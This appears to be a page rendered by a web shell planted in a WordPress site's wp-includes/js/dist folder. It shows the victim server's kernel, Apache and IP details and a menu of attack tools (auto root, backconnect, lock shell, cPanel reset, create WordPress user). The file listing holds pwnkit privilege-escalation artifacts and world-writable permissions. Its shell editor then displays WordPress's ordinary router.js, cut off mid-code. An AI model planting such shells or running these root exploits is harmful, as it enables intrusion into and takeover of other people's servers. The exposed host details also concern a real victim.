Linux 700ba4e1d92d 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 06:59:36 UTC 2025 x86_64
Apache/2.4.67 (Debian)
: 172.18.0.2 | : 216.73.217.30
Cant Read [ /etc/named.conf ]
8.2.31
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
wp-includes /
js /
dist /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
development
[ DIR ]
drwxrwxrwx
script-modules
[ DIR ]
drwxrwxrwx
vendor
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
a11y.js
5.45
KB
-rwxrwxrwx
a11y.min.js
2.41
KB
-rwxrwxrwx
annotations.js
15.13
KB
-rwxrwxrwx
annotations.min.js
5.58
KB
-rwxrwxrwx
api-fetch.js
17.46
KB
-rwxrwxrwx
api-fetch.min.js
6.29
KB
-rwxrwxrwx
autop.js
9.73
KB
-rwxrwxrwx
autop.min.js
5.47
KB
-rwxrwxrwx
base-styles.js
48
B
-rwxrwxrwx
base-styles.min.js
40
B
-rwxrwxrwx
blob.js
2.3
KB
-rwxrwxrwx
blob.min.js
1.13
KB
-rwxrwxrwx
block-directory.js
55.67
KB
-rwxrwxrwx
block-directory.min.js
21.92
KB
-rwxrwxrwx
block-editor.js
2.7
MB
-rwxrwxrwx
block-editor.min.js
1.01
MB
-rwxrwxrwx
block-library.js
2.57
MB
-rwxrwxrwx
block-library.min.js
1.09
MB
-rwxrwxrwx
block-serialization-default-pa...
6.54
KB
-rwxrwxrwx
block-serialization-default-pa...
2.36
KB
-rwxrwxrwx
block-serialization-spec-parse...
50.48
KB
-rwxrwxrwx
block-serialization-spec-parse...
10.34
KB
-rwxrwxrwx
blocks.js
381.06
KB
-rwxrwxrwx
blocks.min.js
180.58
KB
-rwxrwxrwx
commands.js
151.71
KB
-rwxrwxrwx
commands.min.js
63.1
KB
-rwxrwxrwx
components.js
3.83
MB
-rwxrwxrwx
components.min.js
786.24
KB
-rwxrwxrwx
compose.js
80.84
KB
-rwxrwxrwx
compose.min.js
28.21
KB
-rwxrwxrwx
core-commands.js
28.68
KB
-rwxrwxrwx
core-commands.min.js
11.83
KB
-rwxrwxrwx
core-data.js
612.03
KB
-rwxrwxrwx
core-data.min.js
210.43
KB
-rwxrwxrwx
customize-widgets.js
91.57
KB
-rwxrwxrwx
customize-widgets.min.js
36.58
KB
-rwxrwxrwx
data-controls.js
4.13
KB
-rwxrwxrwx
data-controls.min.js
1.74
KB
-rwxrwxrwx
data.js
82.78
KB
-rwxrwxrwx
data.min.js
25.88
KB
-rwxrwxrwx
date.js
176.34
KB
-rwxrwxrwx
date.min.js
141.18
KB
-rwxrwxrwx
deprecated.js
3.04
KB
-rwxrwxrwx
deprecated.min.js
1.25
KB
-rwxrwxrwx
dom-ready.js
1.47
KB
-rwxrwxrwx
dom-ready.min.js
783
B
-rwxrwxrwx
dom.js
34.61
KB
-rwxrwxrwx
dom.min.js
12.62
KB
-rwxrwxrwx
edit-post.js
117.4
KB
-rwxrwxrwx
edit-post.min.js
49.07
KB
-rwxrwxrwx
edit-site.js
1.69
MB
-rwxrwxrwx
edit-site.min.js
684.42
KB
-rwxrwxrwx
edit-widgets.js
160.25
KB
-rwxrwxrwx
edit-widgets.min.js
61.83
KB
-rwxrwxrwx
editor.js
2.5
MB
-rwxrwxrwx
editor.min.js
1021.22
KB
-rwxrwxrwx
element.js
27.93
KB
-rwxrwxrwx
element.min.js
12.13
KB
-rwxrwxrwx
escape-html.js
2.29
KB
-rwxrwxrwx
escape-html.min.js
1.03
KB
-rwxrwxrwx
format-library.js
73.34
KB
-rwxrwxrwx
format-library.min.js
28.85
KB
-rwxrwxrwx
hooks.js
11.96
KB
-rwxrwxrwx
hooks.min.js
4.9
KB
-rwxrwxrwx
html-entities.js
1.65
KB
-rwxrwxrwx
html-entities.min.js
844
B
-rwxrwxrwx
i18n.js
15.3
KB
-rwxrwxrwx
i18n.min.js
5.56
KB
-rwxrwxrwx
is-shallow-equal.js
2.69
KB
-rwxrwxrwx
is-shallow-equal.min.js
1.06
KB
-rwxrwxrwx
keyboard-shortcuts.js
9.68
KB
-rwxrwxrwx
keyboard-shortcuts.min.js
3.41
KB
-rwxrwxrwx
keycodes.js
8.3
KB
-rwxrwxrwx
keycodes.min.js
2.87
KB
-rwxrwxrwx
list-reusable-blocks.js
13.06
KB
-rwxrwxrwx
list-reusable-blocks.min.js
5.21
KB
-rwxrwxrwx
media-utils.js
637.15
KB
-rwxrwxrwx
media-utils.min.js
237.61
KB
-rwxrwxrwx
notices.js
10.11
KB
-rwxrwxrwx
notices.min.js
4.35
KB
-rwxrwxrwx
nux.js
10.32
KB
-rwxrwxrwx
nux.min.js
3.92
KB
-rwxrwxrwx
patterns.js
58.25
KB
-rwxrwxrwx
patterns.min.js
21.6
KB
-rwxrwxrwx
plugins.js
11.67
KB
-rwxrwxrwx
plugins.min.js
4.72
KB
-rwxrwxrwx
preferences-persistence.js
17.22
KB
-rwxrwxrwx
preferences-persistence.min.js
5.46
KB
-rwxrwxrwx
preferences.js
21.07
KB
-rwxrwxrwx
preferences.min.js
7.68
KB
-rwxrwxrwx
primitives.js
5.08
KB
-rwxrwxrwx
primitives.min.js
1.94
KB
-rwxrwxrwx
priority-queue.js
10.02
KB
-rwxrwxrwx
priority-queue.min.js
3.32
KB
-rwxrwxrwx
private-apis.js
4.09
KB
-rwxrwxrwx
private-apis.min.js
2.63
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
react-i18n.js
3.91
KB
-rwxrwxrwx
react-i18n.min.js
1.49
KB
-rwxrwxrwx
redux-routine.js
24.68
KB
-rwxrwxrwx
redux-routine.min.js
9.62
KB
-rwxrwxrwx
reusable-blocks.js
20.51
KB
-rwxrwxrwx
reusable-blocks.min.js
7.19
KB
-rwxrwxrwx
rich-text.js
97.04
KB
-rwxrwxrwx
rich-text.min.js
39.86
KB
-rwxrwxrwx
router.js
36.12
KB
-rwxrwxrwx
router.min.js
14.1
KB
-rwxrwxrwx
server-side-render.js
10.97
KB
-rwxrwxrwx
server-side-render.min.js
3.91
KB
-rwxrwxrwx
shortcode.js
7.96
KB
-rwxrwxrwx
shortcode.min.js
3.25
KB
-rwxrwxrwx
style-engine.js
17.62
KB
-rwxrwxrwx
style-engine.min.js
6.38
KB
-rwxrwxrwx
sync.js
359.4
KB
-rwxrwxrwx
sync.min.js
118.11
KB
-rwxrwxrwx
theme.js
127.65
KB
-rwxrwxrwx
theme.min.js
56.08
KB
-rwxrwxrwx
token-list.js
6.12
KB
-rwxrwxrwx
token-list.min.js
1.58
KB
-rwxrwxrwx
undo-manager.js
5.29
KB
-rwxrwxrwx
undo-manager.min.js
1.66
KB
-rwxrwxrwx
upload-media.js
55.67
KB
-rwxrwxrwx
upload-media.min.js
23.02
KB
-rwxrwxrwx
url.js
23.39
KB
-rwxrwxrwx
url.min.js
10.09
KB
-rwxrwxrwx
viewport.js
6.61
KB
-rwxrwxrwx
viewport.min.js
2.21
KB
-rwxrwxrwx
warning.js
1.52
KB
-rwxrwxrwx
warning.min.js
720
B
-rwxrwxrwx
widgets.js
50.08
KB
-rwxrwxrwx
widgets.min.js
20.79
KB
-rwxrwxrwx
wordcount.js
6.93
KB
-rwxrwxrwx
wordcount.min.js
2.41
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : router.js
"use strict"; var wp; (wp ||= {}).router = (() => { var __create = Object.create; var __defProp = Object.defineProperty; var __getOwnPropDesc = Object.getOwnPropertyDescriptor; var __getOwnPropNames = Object.getOwnPropertyNames; var __getProtoOf = Object.getPrototypeOf; var __hasOwnProp = Object.prototype.hasOwnProperty; var __commonJS = (cb, mod) => function __require() { return mod || (0, cb[__getOwnPropNames(cb)[0]])((mod = { exports: {} }).exports, mod), mod.exports; }; var __export = (target, all) => { for (var name in all) __defProp(target, name, { get: all[name], enumerable: true }); }; var __copyProps = (to2, from, except, desc) => { if (from && typeof from === "object" || typeof from === "function") { for (let key of __getOwnPropNames(from)) if (!__hasOwnProp.call(to2, key) && key !== except) __defProp(to2, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable }); } return to2; }; var __toESM = (mod, isNodeMode, target) => (target = mod != null ? __create(__getProtoOf(mod)) : {}, __copyProps( // If the importer is in node compatibility mode or this is not an ESM // file that has been converted to a CommonJS file using a Babel- // compatible transform (i.e. "__esModule" has not been set), then set // "default" to the CommonJS "module.exports" for node compatibility. isNodeMode || !mod || !mod.__esModule ? __defProp(target, "default", { value: mod, enumerable: true }) : target, mod )); var __toCommonJS = (mod) => __copyProps(__defProp({}, "__esModule", { value: true }), mod); // package-external:@wordpress/element var require_element = __commonJS({ "package-external:@wordpress/element"(exports, module) { module.exports = window.wp.element; } }); // package-external:@wordpress/url var require_url = __commonJS({ "package-external:@wordpress/url"(exports, module) { module.exports = window.wp.url; } }); // package-external:@wordpress/compose var require_compose = __commonJS({ "package-external:@wordpress/compose"(exports, module) { module.exports = window.wp.compose; } }); // vendor-external:react/jsx-runtime var require_jsx_runtime = __commonJS({ "vendor-external:react/jsx-runtime"(exports, module) { module.exports = window.ReactJSXRuntime; } }); // package-external:@wordpress/private-apis var require_private_apis = __commonJS({ "package-external:@wordpress/private-apis"(exports, module) { module.exports = window.wp.privateApis; } }); // packages/router/build-module/index.mjs var index_exports = {}; __export(index_exports, { privateApis: () => privateApis }); // node_modules/route-recognizer/dist/route-recognizer.es.js var createObject = Object.create; function createMap() { var map2 = createObject(null); map2["__"] = void 0; delete map2["__"]; return map2; } var Target = function Target2(path, matcher, delegate) { this.path = path; this.matcher = matcher; this.delegate = delegate; }; Target.prototype.to = function to(target, callback) { var delegate = this.delegate; if (delegate && delegate.willAddRoute) { target = delegate.willAddRoute(this.matcher.target, target); } this.matcher.add(this.path, target); if (callback) { if (callback.length === 0) { throw new Error("You must have an argument in the function passed to `to`"); } this.matcher.addChild(this.path, target, callback, this.delegate); } }; var Matcher = function Matcher2(target) { this.routes = createMap(); this.children = createMap(); this.target = target; }; Matcher.prototype.add = function add(path, target) { this.routes[path] = target; }; Matcher.prototype.addChild = function addChild(path, target, callback, delegate) { var matcher = new Matcher(target); this.children[path] = matcher; var match2 = generateMatch(path, matcher, delegate); if (delegate && delegate.contextEntered) { delegate.contextEntered(target, match2); } callback(match2); }; function generateMatch(startingPath, matcher, delegate) { function match2(path, callback) { var fullPath = startingPath + path; if (callback) { callback(generateMatch(fullPath, matcher, delegate)); } else { return new Target(fullPath, matcher, delegate); } } return match2; } function addRoute(routeArray, path, handler) { var len = 0; for (var i = 0; i < routeArray.length; i++) { len += routeArray[i].path.length; } path = path.substr(len); var route = { path, handler }; routeArray.push(route); } function eachRoute(baseRoute, matcher, callback, binding) { var routes = matcher.routes; var paths = Object.keys(routes); for (var i = 0; i < paths.length; i++) { var path = paths[i]; var routeArray = baseRoute.slice(); addRoute(routeArray, path, routes[path]); var nested = matcher.children[path]; if (nested) { eachRoute(routeArray, nested, callback, binding); } else { callback.call(binding, routeArray); } } } var map = function(callback, addRouteCallback) { var matcher = new Matcher(); callback(generateMatch("", matcher, this.delegate)); eachRoute([], matcher, function(routes) { if (addRouteCallback) { addRouteCallback(this, routes); } else { this.add(routes); } }, this); }; function normalizePath(path) { return path.split("/").map(normalizeSegment).join("/"); } var SEGMENT_RESERVED_CHARS = /%|\//g; function normalizeSegment(segment) { if (segment.length < 3 || segment.indexOf("%") === -1) { return segment; } return decodeURIComponent(segment).replace(SEGMENT_RESERVED_CHARS, encodeURIComponent); } var PATH_SEGMENT_ENCODINGS = /%(?:2(?:4|6|B|C)|3(?:B|D|A)|40)/g; function encodePathSegment(str) { return encodeURIComponent(str).replace(PATH_SEGMENT_ENCODINGS, decodeURIComponent); } var escapeRegex = /(\/|\.|\*|\+|\?|\||\(|\)|\[|\]|\{|\}|\\)/g; var isArray = Array.isArray; var hasOwnProperty = Object.prototype.hasOwnProperty; function getParam(params, key) { if (typeof params !== "object" || params === null) { throw new Error("You must pass an object as the second argument to `generate`."); } if (!hasOwnProperty.call(params, key)) { throw new Error("You must provide param `" + key + "` to `generate`."); } var value = params[key]; var str = typeof value === "string" ? value : "" + value; if (str.length === 0) { throw new Error("You must provide a param `" + key + "`."); } return str; } var eachChar = []; eachChar[ 0 /* Static */ ] = function(segment, currentState) { var state = currentState; var value = segment.value; for (var i = 0; i < value.length; i++) { var ch = value.charCodeAt(i); state = state.put(ch, false, false); } return state; }; eachChar[ 1 /* Dynamic */ ] = function(_, currentState) { return currentState.put(47, true, true); }; eachChar[ 2 /* Star */ ] = function(_, currentState) { return currentState.put(-1, false, true); }; eachChar[ 4 /* Epsilon */ ] = function(_, currentState) { return currentState; }; var regex = []; regex[ 0 /* Static */ ] = function(segment) { return segment.value.replace(escapeRegex, "\\$1"); }; regex[ 1 /* Dynamic */ ] = function() { return "([^/]+)"; }; regex[ 2 /* Star */ ] = function() { return "(.+)"; }; regex[ 4 /* Epsilon */ ] = function() { return ""; }; var generate = []; generate[ 0 /* Static */ ] = function(segment) { return segment.value; }; generate[ 1 /* Dynamic */ ] = function(segment, params) { var value = getParam(params, segment.value); if (RouteRecognizer.ENCODE_AND_DECODE_PATH_SEGMENTS) { return encodePathSegment(value); } else { return value; } }; generate[ 2 /* Star */ ] = function(segment, params) { return getParam(params, segment.value); }; generate[ 4 /* Epsilon */ ] = function() { return ""; }; var EmptyObject = Object.freeze({}); var EmptyArray = Object.freeze([]); function parse(segments, route, types) { if (route.length > 0 && route.charCodeAt(0) === 47) { route = route.substr(1); } var parts = route.split("/"); var names = void 0; var shouldDecodes = void 0; for (var i = 0; i < parts.length; i++) { var part = parts[i]; var flags = 0; var type = 0; if (part === "") { type = 4; } else if (part.charCodeAt(0) === 58) { type = 1; } else if (part.charCodeAt(0) === 42) { type = 2; } else { type = 0; } flags = 2 << type; if (flags & 12) { part = part.slice(1); names = names || []; names.push(part); shouldDecodes = shouldDecodes || []; shouldDecodes.push((flags & 4) !== 0); } if (flags & 14) { types[type]++; } segments.push({ type, value: normalizeSegment(part) }); } return { names: names || EmptyArray, shouldDecodes: shouldDecodes || EmptyArray }; } function isEqualCharSpec(spec, char, negate) { return spec.char === char && spec.negate === negate; } var State = function State2(states, id, char, negate, repeat) { this.states = states; this.id = id; this.char = char; this.negate = negate; this.nextStates = repeat ? id : null; this.pattern = ""; this._regex = void 0; this.handlers = void 0; this.types = void 0; }; State.prototype.regex = function regex$1() { if (!this._regex) { this._regex = new RegExp(this.pattern); } return this._regex; }; State.prototype.get = function get(char, negate) { var this$1 = this; var nextStates = this.nextStates; if (nextStates === null) { return; } if (isArray(nextStates)) { for (var i = 0; i < nextStates.length; i++) { var child = this$1.states[nextStates[i]]; if (isEqualCharSpec(child, char, negate)) { return child; } } } else { var child$1 = this.states[nextStates]; if (isEqualCharSpec(child$1, char, negate)) { return child$1; } } }; State.prototype.put = function put(char, negate, repeat) { var state; if (state = this.get(char, negate)) { return state; } var states = this.states; state = new State(states, states.length, char, negate, repeat); states[states.length] = state; if (this.nextStates == null) { this.nextStates = state.id; } else if (isArray(this.nextStates)) { this.nextStates.push(state.id); } else { this.nextStates = [this.nextStates, state.id]; } return state; }; State.prototype.match = function match(ch) { var this$1 = this; var nextStates = this.nextStates; if (!nextStates) { return []; } var returned = []; if (isArray(nextStates)) { for (var i = 0; i < nextStates.length; i++) { var child = this$1.states[nextStates[i]]; if (isMatch(child, ch)) { returned.push(child); } } } else { var child$1 = this.states[nextStates]; if (isMatch(child$1, ch)) { returned.push(child$1); } } return returned; }; function isMatch(spec, char) { return spec.negate ? spec.char !== char && spec.char !== -1 : spec.char === char || spec.char === -1; } function sortSolutions(states) { return states.sort(function(a, b) { var ref = a.types || [0, 0, 0]; var astatics = ref[0]; var adynamics = ref[1]; var astars = ref[2]; var ref$1 = b.types || [0, 0, 0]; var bstatics = ref$1[0]; var bdynamics = ref$1[1]; var bstars = ref$1[2]; if (astars !== bstars) { return astars - bstars; } if (astars) { if (astatics !== bstatics) { return bstatics - astatics; } if (adynamics !== bdynamics) { return bdynamics - adynamics; } } if (adynamics !== bdynamics) { return adynamics - bdynamics; } if (astatics !== bstatics) { return bstatics - astatics; } return 0; }); } function recognizeChar(states, ch) { var nextStates = []; for (var i = 0, l = states.length; i < l; i++) { var state = states[i]; nextStates = nextStates.concat(state.match(ch)); } return nextStates; } var RecognizeResults = function RecognizeResults2(queryParams) { this.length = 0; this.queryParams = queryParams || {}; }; RecognizeResults.prototype.splice = Array.prototype.splice; RecognizeResults.prototype.slice = Array.prototype.slice; RecognizeResults.prototype.push = Array.prototype.push; function findHandler(state, originalPath, queryParams) { var handlers = state.handlers; var regex2 = state.regex(); if (!regex2 || !handlers) { throw new Error("state not initialized"); } var captures = originalPath.match(regex2); var currentCapture = 1; var result = new RecognizeResults(queryParams); result.length = handlers.length; for (var i = 0; i < handlers.length; i++) { var handler = handlers[i]; var names = handler.names; var shouldDecodes = handler.shouldDecodes; var params = EmptyObject; var isDynamic = false; if (names !== EmptyArray && shouldDecodes !== EmptyArray) { for (var j = 0; j < names.length; j++) { isDynamic = true; var name = names[j]; var capture = captures && captures[currentCapture++]; if (params === EmptyObject) { params = {}; } if (RouteRecognizer.ENCODE_AND_DECODE_PATH_SEGMENTS && shouldDecodes[j]) { params[name] = capture && decodeURIComponent(capture); } else { params[name] = capture; } } } result[i] = { handler: handler.handler, params, isDynamic }; } return result; } function decodeQueryParamPart(part) { part = part.replace(/\+/gm, "%20"); var result; try { result = decodeURIComponent(part); } catch (error) { result = ""; } return result; } var RouteRecognizer = function RouteRecognizer2() { this.names = createMap(); var states = []; var state = new State(states, 0, -1, true, false); states[0] = state; this.states = states; this.rootState = state; }; RouteRecognizer.prototype.add = function add2(routes, options) { var currentState = this.rootState; var pattern = "^"; var types = [0, 0, 0]; var handlers = new Array(routes.length); var allSegments = []; var isEmpty = true; var j = 0; for (var i = 0; i < routes.length; i++) { var route = routes[i]; var ref = parse(allSegments, route.path, types); var names = ref.names; var shouldDecodes = ref.shouldDecodes; for (; j < allSegments.length; j++) { var segment = allSegments[j]; if (segment.type === 4) { continue; } isEmpty = false; currentState = currentState.put(47, false, false); pattern += "/"; currentState = eachChar[segment.type](segment, currentState); pattern += regex[segment.type](segment); } handlers[i] = { handler: route.handler, names, shouldDecodes }; } if (isEmpty) { currentState = currentState.put(47, false, false); pattern += "/"; } currentState.handlers = handlers; currentState.pattern = pattern + "$"; currentState.types = types; var name; if (typeof options === "object" && options !== null && options.as) { name = options.as; } if (name) { this.names[name] = { segments: allSegments, handlers }; } }; RouteRecognizer.prototype.handlersFor = function handlersFor(name) { var route = this.names[name]; if (!route) { throw new Error("There is no route named " + name); } var result = new Array(route.handlers.length); for (var i = 0; i < route.handlers.length; i++) { var handler = route.handlers[i]; result[i] = handler; } return result; }; RouteRecognizer.prototype.hasRoute = function hasRoute(name) { return !!this.names[name]; }; RouteRecognizer.prototype.generate = function generate$1(name, params) { var route = this.names[name]; var output = ""; if (!route) { throw new Error("There is no route named " + name); } var segments = route.segments; for (var i = 0; i < segments.length; i++) { var segment = segments[i]; if (segment.type === 4) { continue; } output += "/"; output += generate[segment.type](segment, params); } if (output.charAt(0) !== "/") { output = "/" + output; } if (params && params.queryParams) { output += this.generateQueryString(params.queryParams); } return output; }; RouteRecognizer.prototype.generateQueryString = function generateQueryString(params) { var pairs = []; var keys = Object.keys(params); keys.sort(); for (var i = 0; i < keys.length; i++) { var key = keys[i]; var value = params[key]; if (value == null) { continue; } var pair = encodeURIComponent(key); if (isArray(value)) { for (var j = 0; j < value.length; j++) { var arrayPair = key + "[]=" + encodeURIComponent(value[j]); pairs.push(arrayPair); } } else { pair += "=" + encodeURIComponent(value); pairs.push(pair); } } if (pairs.length === 0) { return ""; } return "?" + pairs.join("&"); }; RouteRecognizer.prototype.parseQueryString = function parseQueryString(queryString) { var pairs = queryString.split("&"); var queryParams = {}; for (var i = 0; i < pairs.length; i++) { var pair = pairs[i].split("="), key = decodeQueryParamPart(pair[0]), keyLength = key.length, isArray2 = false, value = void 0; if (pair.length === 1) { value = "true"; } else { if (keyLength > 2 && key.slice(keyLength - 2) === "[]") { isArray2 = true; key = key.slice(0, keyLength - 2); if (!queryParams[key]) { queryParams[key] = []; } } value = pair[1] ? decodeQueryParamPart(pair[1]) : ""; } if (isArray2) { queryParams[key].push(value); } else { queryParams[key] = value; } } return queryParams; }; RouteRecognizer.prototype.recognize = function recognize(path) { var results; var states = [this.rootState]; var queryParams = {}; var isSlashDropped = false; var hashStart = path.indexOf("#"); if (hashStart !== -1) { path = path.substr(0, hashStart); } var queryStart = path.indexOf("?"); if (queryStart !== -1) { var queryString = path.substr(queryStart + 1, path.length); path = path.substr(0, queryStart); queryParams = this.parseQueryString(queryString); } if (path.charAt(0) !== "/") { path = "/" + path; } var originalPath = path; if (RouteRecognizer.ENCODE_AND_DECODE_PATH_SEGMENTS) { path = normalizePath(path); } else { path = decodeURI(path); originalPath = decodeURI(originalPath); } var pathLen = path.length; if (pathLen > 1 && path.charAt(pathLen - 1) === "/") { path = path.substr(0, pathLen - 1); originalPath = originalPath.substr(0, originalPath.length - 1); isSlashDropped = true; } for (var i = 0; i < path.length; i++) { states = recognizeChar(states, path.charCodeAt(i)); if (!states.length) { break; } } var solutions = []; for (var i$1 = 0; i$1 < states.length; i$1++) { if (states[i$1].handlers) { solutions.push(states[i$1]); } } states = sortSolutions(solutions); var state = solutions[0]; if (state && state.handlers) { if (isSlashDropped && state.pattern && state.pattern.slice(-5) === "(.+)$") { originalPath = originalPath + "/"; } results = findHandler(state, originalPath, queryParams); } return results; }; RouteRecognizer.VERSION = "0.3.4"; RouteRecognizer.ENCODE_AND_DECODE_PATH_SEGMENTS = true; RouteRecognizer.Normalizer = { normalizeSegment, normalizePath, encodePathSegment }; RouteRecognizer.prototype.map = map; var route_recognizer_es_default = RouteRecognizer; // node_modules/@babel/runtime/helpers/esm/extends.js function _extends() { return _extends = Object.assign ? Object.assign.bind() : function(n) { for (var e = 1; e < arguments.length; e++) { var t = arguments[e]; for (var r in t) ({}).hasOwnProperty.call(t, r) && (n[r] = t[r]); } return n; }, _extends.apply(null, arguments); } // node_modules/history/index.js var Action; (function(Action2) { Action2["Pop"] = "POP"; Action2["Push"] = "PUSH"; Action2["Replace"] = "REPLACE"; })(Action || (Action = {})); var readOnly = true ? function(obj) { return Object.freeze(obj); } : function(obj) { return obj; }; function warning(cond, message) { if (!cond) { if (typeof console !== "undefined") console.warn(message); try { throw new Error(message); } catch (e) { } } } var BeforeUnloadEventType = "beforeunload"; var PopStateEventType = "popstate"; function createBrowserHistory(options) { if (options === void 0) { options = {}; } var _options = options, _options$window = _options.window, window2 = _options$window === void 0 ? document.defaultView : _options$window; var globalHistory = window2.history; function getIndexAndLocation() { var _window$location = window2.location, pathname = _window$location.pathname, search = _window$location.search, hash = _window$location.hash; var state = globalHistory.state || {}; return [state.idx, readOnly({ pathname, search, hash, state: state.usr || null, key: state.key || "default" })]; } var blockedPopTx = null; function handlePop() { if (blockedPopTx) { blockers.call(blockedPopTx); blockedPopTx = null; } else { var nextAction = Action.Pop; var _getIndexAndLocation = getIndexAndLocation(), nextIndex = _getIndexAndLocation[0], nextLocation = _getIndexAndLocation[1]; if (blockers.length) { if (nextIndex != null) { var delta = index - nextIndex; if (delta) { blockedPopTx = { action: nextAction, location: nextLocation, retry: function retry() { go(delta * -1); } }; go(delta); } } else { true ? warning( false, // TODO: Write up a doc that explains our blocking strategy in // detail and link to it here so people can understand better what // is going on and how to avoid it. "You are trying to block a POP navigation to a location that was not created by the history library. The block will fail silently in production, but in general you should do all navigation with the history library (instead of using window.history.pushState directly) to avoid this situation." ) : void 0; } } else { applyTx(nextAction); } } } window2.addEventListener(PopStateEventType, handlePop); var action = Action.Pop; var _getIndexAndLocation2 = getIndexAndLocation(), index = _getIndexAndLocation2[0], location = _getIndexAndLocation2[1]; var listeners = createEvents(); var blockers = createEvents(); if (index == null) { index = 0; globalHistory.replaceState(_extends({}, globalHistory.state, { idx: index }), ""); } function createHref(to2) { return typeof to2 === "string" ? to2 : createPath(to2); } function getNextLocation(to2, state) { if (state === void 0) { state = null; } return readOnly(_extends({ pathname: location.pathname, hash: "", search: "" }, typeof to2 === "string" ? parsePath(to2) : to2, { state, key: createKey() })); } function getHistoryStateAndUrl(nextLocation, index2) { return [{ usr: nextLocation.state, key: nextLocation.key, idx: index2 }, createHref(nextLocation)]; } function allowTx(action2, location2, retry) { return !blockers.length || (blockers.call({ action: action2, location: location2, retry }), false); } function applyTx(nextAction) { action = nextAction; var _getIndexAndLocation3 = getIndexAndLocation(); index = _getIndexAndLocation3[0]; location = _getIndexAndLocation3[1]; listeners.call({ action, location }); } function push(to2, state) { var nextAction = Action.Push; var nextLocation = getNextLocation(to2, state); function retry() { push(to2, state); } if (allowTx(nextAction, nextLocation, retry)) { var _getHistoryStateAndUr = getHistoryStateAndUrl(nextLocation, index + 1), historyState = _getHistoryStateAndUr[0], url = _getHistoryStateAndUr[1]; try { globalHistory.pushState(historyState, "", url); } catch (error) { window2.location.assign(url); } applyTx(nextAction); } } function replace(to2, state) { var nextAction = Action.Replace; var nextLocation = getNextLocation(to2, state); function retry() { replace(to2, state); } if (allowTx(nextAction, nextLocation, retry)) { var _getHistoryStateAndUr2 = getHistoryStateAndUrl(nextLocation, index), historyState = _getHistoryStateAndUr2[0], url = _getHistoryStateAndUr2[1]; globalHistory.replaceState(historyState, "", url); applyTx(nextAction); } } function go(delta) { globalHistory.go(delta); } var history2 = { get action() { return action; }, get location() { return location; }, createHref, push, replace, go, back: function back() { go(-1); }, forward: function forward() { go(1); }, listen: function listen(listener) { return listeners.push(listener); }, block: function block(blocker) { var unblock = blockers.push(blocker); if (blockers.length === 1) { window2.addEventListener(BeforeUnloadEventType, promptBeforeUnload); } return function() { unblock(); if (!blockers.length) { window2.removeEventListener(BeforeUnloadEventType, promptBeforeUnload); } }; } }; return history2; } function promptBeforeUnload(event) { event.preventDefault(); event.returnValue = ""; } function createEvents() { var handlers = []; return { get length() { return handlers.length; }, push: function push(fn) { handlers.push(fn); return function() { handlers = handlers.filter(function(handler) { return handler !== fn; }); }; }, call: function call(arg) { handlers.forEach(function(fn) { return fn && fn(arg); }); } }; } function createKey() { return Math.random().toString(36).substr(2, 8); } function createPath(_ref) { var _ref$pathname = _ref.pathname, pathname = _ref$pathname === void 0 ? "/" : _ref$pathname, _ref$search = _ref.search, search = _ref$search === void 0 ? "" : _ref$search, _ref$hash = _ref.hash, hash = _ref$hash === void 0 ? "" : _ref$hash; if (search && search !== "?") pathname += search.charAt(0) === "?" ? search : "?" + search; if (hash && hash !== "#") pathname += hash.charAt(0) === "#" ? hash : "#" + hash; return pathname; } function parsePath(path) { var parsedPath = {}; if (path) { var hashIndex = path.indexOf("#"); if (hashIndex >= 0) { parsedPath.hash = path.substr(hashIndex); path = path.substr(0, hashIndex); } var searchIndex = path.indexOf("?"); if (searchIndex >= 0) { parsedPath.search = path.substr(searchIndex); path = path.substr(0, searchIndex); } if (path) { parsedPath.pathname = path; } } return parsedPath; } // packages/router/build-module/router.mjs var import_element = __toESM(require_element(), 1); var import_url = __toESM(require_url(), 1); var import_compose = __toESM(require_compose(), 1); var import_jsx_runtime = __toESM(require_jsx_runtime(), 1); var history = createBrowserHistory(); var RoutesContext = (0, import_element.createContext)(null); RoutesContext.displayName = "RoutesContext"; var ConfigContext = (0, import_element.createContext)({ pathArg: "p" }); ConfigContext.displayName = "ConfigContext"; var locationMemo = /* @__PURE__ */ new WeakMap(); function getLocationWithQuery() { const location = history.location; let locationWithQuery = locationMemo.get(location); if (!locationWithQuery) { locationWithQuery = { ...location, query: Object.fromEntries(new URLSearchParams(location.search)) }; locationMemo.set(location, locationWithQuery); } return locationWithQuery; } function useLocation() { const context = (0, import_element.useContext)(RoutesContext); if (!context) { throw new Error("useLocation must be used within a RouterProvider"); } return context; } function useHistory() { const { pathArg, beforeNavigate } = (0, import_element.useContext)(ConfigContext); const navigate = (0, import_compose.useEvent)( async (rawPath, options = {}) => { const query = (0, import_url.getQueryArgs)(rawPath); const path = (0, import_url.getPath)("http://domain.com/" + rawPath) ?? ""; const performPush = () => { const result = beforeNavigate ? beforeNavigate({ path, query }) : { path, query }; return history.push( { search: (0, import_url.buildQueryString)({ [pathArg]: result.path, ...result.query }) }, options.state ); }; const isMediumOrBigger = window.matchMedia("(min-width: 782px)").matches; if (!isMediumOrBigger || !document.startViewTransition || !options.transition) { performPush(); return; } await new Promise((resolve) => { const classname = options.transition ?? ""; document.documentElement.classList.add(classname); const transition = document.startViewTransition( () => performPush() ); transition.finished.finally(() => { document.documentElement.classList.remove(classname); resolve(); }); }); } ); return (0, import_element.useMemo)( () => ({ navigate, back: history.back, invalidate: () => { history.replace({ search: history.location.search }); } }), [navigate] ); } function useMatch(location, matcher, pathArg, matchResolverArgs) { const { query: rawQuery = {} } = location; const [resolvedMatch, setMatch] = (0, import_element.useState)(); (0, import_element.useEffect)(() => { const { [pathArg]: path = "/", ...query } = rawQuery; const ret = matcher.recognize(path)?.[0]; async function resolveMatch(result) { const matchedRoute = result.handler; const resolveFunctions = async (record = {}) => { const entries = await Promise.all( Object.entries(record).map(async ([key, value]) => { if (typeof value === "function") { return [ key, await value({ query, params: result.params, 